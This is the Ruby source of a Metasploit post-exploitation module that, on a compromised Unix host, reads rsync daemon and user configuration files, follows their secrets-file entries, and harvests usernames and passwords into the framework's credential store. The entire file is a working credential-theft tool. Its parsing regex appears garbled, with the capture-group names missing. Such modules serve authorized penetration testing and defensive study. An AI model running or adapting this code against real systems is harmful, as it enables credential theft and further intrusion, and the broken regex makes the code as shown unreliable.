## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Post include Msf::Post::File include Msf::Post::Unix def initialize(info = {}) super( update_info( info, 'Name' => 'UNIX Gather RSYNC Credentials', 'Description' => %q( Post Module to obtain credentials saved for RSYNC in various locations ), 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], 'SessionTypes' => %w(shell) ) ) register_options( [ OptString.new('USER_CONFIG', [false, 'Attempt to get passwords from this RSYNC ' \ 'configuration file relative to each local user\'s home directory. Leave unset to disable.', 'rsyncd.conf']) ] ) register_advanced_options( [ OptString.new('RSYNCD_CONFIG', [true, 'Path to rsyncd.conf', '/etc/rsyncd.conf']) ] ) end def setup @user_config = datastore['USER_CONFIG'].blank? ? nil : datastore['USER_CONFIG'] end def dump_rsync_secrets(config_file) vprint_status("Attempting to get RSYNC creds from #{config_file}") creds_table = Rex::Text::Table.new( 'Header' => "RSYNC credentials from #{config_file}", 'Columns' => %w(Username Password Module) ) # read the rsync configuration file, extracting the 'secrets file' # directive for any rsync modules (shares) within rsync_config = Rex::Parser::Ini.new(config_file) # https://github.com/rapid7/metasploit-framework/issues/6265 rsync_config.each_key do |rmodule| # XXX: Ini assumes anything on either side of the = is the key and value, # including spaces, so we need to fix this module_config = Hash[rsync_config[rmodule].map { |k, v| [ k.strip, v.strip ] }] next unless (secrets_file = module_config['secrets file']) read_file(secrets_file).split(/\n/).map do |line| next if line =~ /^#/ if /^(?[^:]+):(?.*)$/ =~ line creds_table << [ user, password, rmodule ] report_rsync_cred(user, password, rmodule) end end end return if creds_table.rows.empty? print_line(creds_table.to_s) end def report_rsync_cred(user, password, rmodule) credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, username: user, private_data: password, private_type: :password, realm_value: rmodule, # XXX: add to MDM? #realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE, workspace_id: myworkspace_id } credential_core = create_credential(credential_data) login_data = { address: session.session_host, # TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the # 'port' directive in the global part of the rsyncd configuration file. # Unfortunately, Rex::Parser::Ini does not support parsing this just yet port: 873, protocol: "tcp", service_name: "rsync", core: credential_core, access_level: "User", status: Metasploit::Model::Login::Status::UNTRIED, workspace_id: myworkspace_id } create_credential_login(login_data) end def run # build up a list of rsync configuration files to read, including the # default location of the daemon config as well as any per-user # configuration files that may exist (rare) config_path = datastore['RSYNCD_CONFIG'] config_files = Set.new([ config_path ]) config_files |= enum_user_directories.map { |d| ::File.join(d, @user_config) } if @user_config config_files.map { |config_file| dump_rsync_secrets(config_file) } end end